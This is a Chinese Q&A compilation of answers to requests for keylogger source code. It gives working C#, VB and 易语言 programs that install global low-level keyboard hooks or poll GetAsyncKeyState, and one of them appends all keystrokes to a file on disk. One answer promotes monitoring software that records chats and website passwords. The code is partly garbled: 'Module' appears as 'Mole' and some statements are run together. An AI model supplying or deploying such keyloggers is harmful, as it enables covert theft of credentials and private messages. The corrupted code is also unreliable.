㈠ 用C#做键盘敲击次数记录求代码
以下是整理源码。
static int hKeyboardHook = 0; //键盘钩子句柄
public const int WH_KEYBOARD_LL = 13; //处理键盘消息
private const int WM_KEYDOWN = 0x100;//键盘按下
//声明键盘钩子事件类型.
HookProc KeyboardHookProcere;
//声明键盘钩子的封送结构类型
[StructLayout(LayoutKind.Sequential)]
public class KeyboardHookStruct
{
public int vkCode; //表示一个在1到254间的虚似键盘码
}
//装置钩子的函数
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
//卸下钩子的函数
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
//下一个钩挂的函数
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
[DllImport("user32")]
public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState);
[DllImport("user32")]
public static extern int GetKeyboardState(byte[] pbKeyState);
[DllImport("kernel32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr GetMoleHandle(string lpMoleName);
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
//先前按下的键
public List<Keys> preKeys = new List<Keys>();
int b;
//析构函数.
~Form1()
{
Stop();
}
public void Start()
{
//安装键盘钩子
if (hKeyboardHook == 0)
{
KeyboardHookProcere = new HookProc(KeyboardHookProc);
Process curProcess = Process.GetCurrentProcess();//获取新的 Process 组件并将其与当前活动的进程关联
ProcessMole curMole = curProcess.MainMole;
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcere, GetMoleHandle(curMole.MoleName), 0);
if (hKeyboardHook == 0)
{
Stop();
throw new Exception("SetWindowsHookEx ist failed.");
}
b = 0;
}
}
public void Stop()
{
bool retKeyboard = true;
if (hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
//如果卸下钩子失败
if (!(retKeyboard)) throw new Exception("UnhookWindowsHookEx failed.");
}
int num = 0;//记录次数
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (wParam == WM_KEYDOWN)
{
KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
preKeys.Add(keyData);
num++;
label1.Text = Convert.ToString(num);
b = 1;
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
private void Form1_Load(object sender, EventArgs e)
{
Start();
}
㈡ 求驱动级键盘记录器源代码!
这个我没有。
键盘记录器,我使用的是电脑监控专家。
电脑监控专家软件主要功能:
1.键盘输入记录功能
记录键盘的所有输入,包括中文、英文、数字以及功能键按键记录。QQ聊天记录、MSN聊天记录、发送邮件的内容以及上网登陆一些网站或邮箱时输入的用户名和密码都会被记录下来(提示:请勿将软件用于非法用途)。
2.屏幕显示记录功能
定时对全屏或活动的程序窗口进行截图保存。让你对电脑上的显示和操作了如指掌。
3.活动窗口监控功能
记录所有打开的窗口标题和打开的时间,并且可以禁止打开标题中包含你指定的文字的窗口。
㈢ 键盘记录器源代码
'模块部分
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Sub ints() '初始化数据
appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf
SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl"
pos1 = Split(SBUF, "|"): ReDim pos2$(256)
For i = 0 To UBound(pos1) - 1
pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1)
Next
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
appStr = appStr & pos2(mymsg.vKey) & " "
End If 'FOR循环和判断结构完全去掉了,取而代之的是一个已经定义好的对应数组
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
'窗体部分
Private Sub form_Load()
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录"
Mole1.ints '初始化数据
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call UnhookWindowsHookEx(hHook) '程序退出时
Open "D:\getkey.txt" For Append As #1 '打开文本
Print #1, Mole1.appStr '一次性记录
Print #1, "到" & Now() & "结束!" & vbCrLf
Close #1
End Sub
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then Unload Me
End Sub
㈣ 高手进,求一个键盘记录程序源代码,最好是用VB或C语言写的,其它语言编写的也行。谢谢各位
VB还是不难的。创建一个窗体,加上两个text1,2 '在窗体中 Private Sub Form_Load() hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0) End Sub Private Sub Form_Unload(Cancel As Integer) UnhookWindowsHookEx hHook End Sub '在模块中 Option Explicit Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long) Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Const WH_KEYBOARD = 2 Public Const WH_KEYBOARD_LL = 13 Public Const HC_ACTION = 0 Public Const HC_SYSMODALOFF = 5 Public Const HC_SYSMODALON = 4 Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_SYSKEYDOWN = &H104 Public Const WM_SYSKEYUP = &H105 Public Const WM_SYSCHAR = &H106 Public Const WM_SYSCOMMAND = &H112 Public Type KEYMSGS vKey As Long '虚拟码 (and &HFF) sKey As Long '扫描码 flag As Long '键按下:128 抬起:0 time As Long 'Window运行时间 End Type Public keyMsg As KEYMSGS '键盘消息 Public hHook As Long '创建的钩子的句柄 Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim lKey As Long Dim strKeyName As String * 255 Dim strLen As Long If idHook = HC_ACTION Then CopyMemory keyMsg, lParam, LenB(keyMsg) Select Case wParam Case WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP '判断是否为键盘消息 lKey = keyMsg.sKey And &HFF '扫描码 lKey = lKey * 65536 '将扫描码左移16位,使位0~15置0 If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then strLen = GetKeyNameText(lKey, strKeyName, 250) '获取该按键的名称 Else strLen = GetKeyNameText((lKey Or &H1000000), strKeyName, 250) '位24为增强型键盘上的扩展位 End If Form1.Text1.Text = keyMsg.vKey '将按键存放到text1中,当然你修改可以自己改这里。 Form1.Text2.Text = Left(strKeyName, strLen) End Select End If CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) '呼叫下一个钩子 End Function
㈤ 易语言键盘记录源码问题。
用模块搞这些东西简单多了, FindWindowA是查找窗口句柄,返回0说明进程结束, IsWindow判断窗口句柄是否有效, GetAsyncKeyState(键代码)返回-32767表示测试键按下,可用循环监视键盘按下,做记录用。键盘记录方法很多,但是一般放到号软件会加密
㈥ 求C#写键盘记录的源代码
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Reflection; using System.Windows.Forms; namespace Tool { class KeyHook { public event KeyEventHandler KeyUp;//按键事件 public Win32API.HookProc keyHook;//钩子回调变量 public int hkeyhook = 0; private const int WH_KEYBOARD_LL = 13;//钩子类型 public void statrhook() //安装钩子 { if (this.hkeyhook == 0) { this.keyHook = new Win32API.HookProc(this.KeyboardHookProc); this.hkeyhook = Win32API.SetWindowsHookEx(WH_KEYBOARD_LL, this.keyHook, Marshal.GetHINSTANCE( Assembly.GetExecutingAssembly().GetMoles()[0]), 0); } if (this.hkeyhook == 0) { this.sotphook(); } } public void sotphook()//卸载钩子 { bool retKeyboard; if (this.hkeyhook != 0) { retKeyboard = Win32API.UnhookWindowsHookEx(this.hkeyhook); this.hkeyhook = 0; } } private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)//钩子处理函数 { if (nCode >= 0 && this.KeyUp != null) { Win32API.KeyboardHookStruct key = (Win32API.KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(Win32API.KeyboardHookStruct)); if ((KeyUp != null) && (wParam == Win32API.WM_KEYUP || wParam == Win32API.WM_SYSKEYUP)) { Keys keydata = (Keys)key.vkCode; KeyEventArgs e = new KeyEventArgs(keydata); this.KeyUp(this, e); } } return Win32API.CallNextHookEx(this.hkeyhook, nCode, wParam, lParam); } } }
㈦ 易语言编写键盘记录器 源码 说的详细点
.版本2
.程序集窗口程序集1
.子程序__启动窗口_创建完毕
SkinH_Attach()
编辑框1.禁止=真
停止按钮.禁止=真
信息框(“欢迎使用小天键盘记录系统,在关闭此记录系统后,会自动保存记录的内容到运行目录!”,#信息图标,“欢迎使用!”)
.子程序_停止按钮_被单击
开始按钮.禁止=假
编辑框1.禁止=真
时钟1.时钟周期=0
停止按钮.禁止=真
.子程序_开始按钮_被单击
开始按钮.禁止=真
编辑框1.禁止=假
时钟1.时钟周期=50
停止按钮.禁止=假
.子程序_时钟1_周期事件
编辑框1.加入文本(看看按键())
.子程序_按钮1_被单击
编辑框1.内容=“”
.子程序__启动窗口_可否被关闭,逻辑型
写到文件(取运行目录()+“记录内容.txt”,到字节集(编辑框1.内容))
销毁()
.子程序_按钮2_被单击
删除文件(取运行目录()+“记录内容.txt”)
㈧ VB编写键盘记录器
键盘记录没有必要用全局钩子,如果用不好会严重影响系统的效率·VB有一个API函数可以很好的实现键盘记录代码如下:通用部分声明:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 'API函数的声明dim time as integer添加2个按钮,一个textbox控件。command1_click事件中添加:timer1.enable = truecommand1.enable = falsecommand2.enable = true command2_click :timer2.enable = falsecommand1.enable = truecommand2.enable = false form_load :
command1.enable = truecommand2.enable = false添加一个timer控件,interval属性设置为1000.Enable属性设置为false.并添加下面代码:time = time +1if time = "10" thentimer1.enable = falsecommand1.enable = truecommand2.enable = falseelseFor i = 32 To 256
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
x = GetAsyncKeyState(186)
If x = -32767 Then
Text1.Text = Text1.Text + ";"
End If
x = GetAsyncKeyState(187)
If x = -32767 Then
Text1.Text = Text1.Text + "="
End If
x = GetAsyncKeyState(188)
If x = -32767 Then
Text1.Text = Text1.Text + ","
End If
x = GetAsyncKeyState(189)
If x = -32767 Then
Text1.Text = Text1.Text + "-"
End If
x = GetAsyncKeyState(190)
If x = -32767 Then
Text1.Text = Text1.Text + "."
End If
x = GetAsyncKeyState(191)
If x = -32767 Then
Text1.Text = Text1.Text + "/"
End If'------------------------------
'数字的虚拟键
x = GetAsyncKeyState(96)
If x = -32767 Then
Text1.Text = Text1.Text + "0"
End If
x = GetAsyncKeyState(97)
If x = -32767 Then
Text1.Text = Text1.Text + "1"
End If
x = GetAsyncKeyState(98)
If x = -32767 Then
Text1.Text = Text1.Text + "2"
End If
x = GetAsyncKeyState(99)
If x = -32767 Then
Text1.Text = Text1.Text + "3"
End If
x = GetAsyncKeyState(100)
If x = -32767 Then
Text1.Text = Text1.Text + "4"
End If
x = GetAsyncKeyState(101)
If x = -32767 Then
Text1.Text = Text1.Text + "5"
End If
x = GetAsyncKeyState(102)
If x = -32767 Then
Text1.Text = Text1.Text + "6"
End If
x = GetAsyncKeyState(103)
If x = -32767 Then
Text1.Text = Text1.Text + "7"
End If
x = GetAsyncKeyState(104)
If x = -32767 Then
Text1.Text = Text1.Text + "8"
End If
x = GetAsyncKeyState(105)
If x = -32767 Then
Text1.Text = Text1.Text + "9"
End If
'--------------------------------------
x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text + " (回车键) "
End If
'--------------------------------------
x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Text1.Text + " (退格键) "
End If
'--------------------------------------
x = GetAsyncKeyState(9)
If x = -32767 Then
Text1.Text = Text1.Text + "(TAB键)"
End If
'--------------------------------------
x = GetAsyncKeyState(16) ''shift键
If x = -32767 And TimeOut = 0 Then
Text1.Text = Text1.Text + "(Shift键)"
End If
'--------------------------------------
x = GetAsyncKeyState(17) ''Ctrl键
If x = -32767 Then
Text1.Text = Text1.Text + "(Ctrl键)"
End If
'--------------------------------------
x = GetAsyncKeyState(18)
If x = -32767 Then
Text1.Text = Text1.Text + "(ALT键)"
End If
'--------------------------------------
x = GetAsyncKeyState(46)
If x = -32767 Then
Text1.Text = Text1.Text + "(删除)"
End If
'--------------------------------------
x = GetAsyncKeyState(38)
If x = -32767 Then
Text1.Text = Text1.Text + "(向上)"
End If
'--------------------------------------
x = GetAsyncKeyState(40)
If x = -32767 Then
Text1.Text = Text1.Text + "(向下)"
End If
'--------------------------------------
x = GetAsyncKeyState(37)
If x = -32767 Then
Text1.Text = Text1.Text + "(向左)"
End If
'--------------------------------------
x = GetAsyncKeyState(39)
If x = -32767 Then
Text1.Text = Text1.Text + "(向右)"
End If
'--------------------------------------x = GetAsyncKeyState(112)
If x = -32767 Then
Text1.Text = Text1.Text + "[F1]"
End Ifx = GetAsyncKeyState(113)
If x = -32767 Then
Text1.Text = Text1.Text + "[F2]"
End Ifx = GetAsyncKeyState(114)
If x = -32767 Then
Text1.Text = Text1.Text + "[F3]"
End Ifx = GetAsyncKeyState(115)
If x = -32767 Then
Text1.Text = Text1.Text + "[F4]"
End Ifx = GetAsyncKeyState(116)
If x = -32767 Then
Text1.Text = Text1.Text + "[F5]"
End Ifx = GetAsyncKeyState(117)
If x = -32767 Then
Text1.Text = Text1.Text + "[F6]"
End Ifx = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text + "[F7]"
End Ifx = GetAsyncKeyState(119)
If x = -32767 Then
Text1.Text = Text1.Text + "[F8]"
End Ifx = GetAsyncKeyState(120)
If x = -32767 Then
Text1.Text = Text1.Text + "[F9]"
End Ifx = GetAsyncKeyState(121)
If x = -32767 Then
Text1.Text = Text1.Text + "[F10]"
End Ifx = GetAsyncKeyState(122)
If x = -32767 Then
Text1.Text = Text1.Text + "[F11]"
End Ifx = GetAsyncKeyState(123)
If x = -32767 Then
Text1.Text = Text1.Text + "[F12]"
End IfNext iend if
End Sub
上面的代码中command1为开启按纽,command2为关闭按钮,按下开启按钮后将记录10秒内的键盘消息并在text1中显示我没有在窗体上输出,应为如果消息太多了会显示不好如果你要在窗体输出就改用print函数输出吧
㈨ 谁知道电脑键盘按键代码表
一:字母和数字按键的建码值
在Windows注册表中有个"Scancode Map"(即扫描码映射)的键,我们可以通过修改这个键的值来实现键位映射的更改。
"Scancode Map"的值的格式是"hex:00,00,00,00,00,00,00,00,xx,00,00,00,[yy,yy,yy,yy,...,yy,yy,yy,yy,]00,00,00,00"
前8个16进制的值(即前8组00)表示版本号和头部字节,后4个16进制的值(即最后的4组00)表示结束标志,中间xx表示映射数目,最小值为01(考虑到结束标志的4组00),中括号内为可写项,也是我们修改键位比较关键的部分,每四个代表一组映射。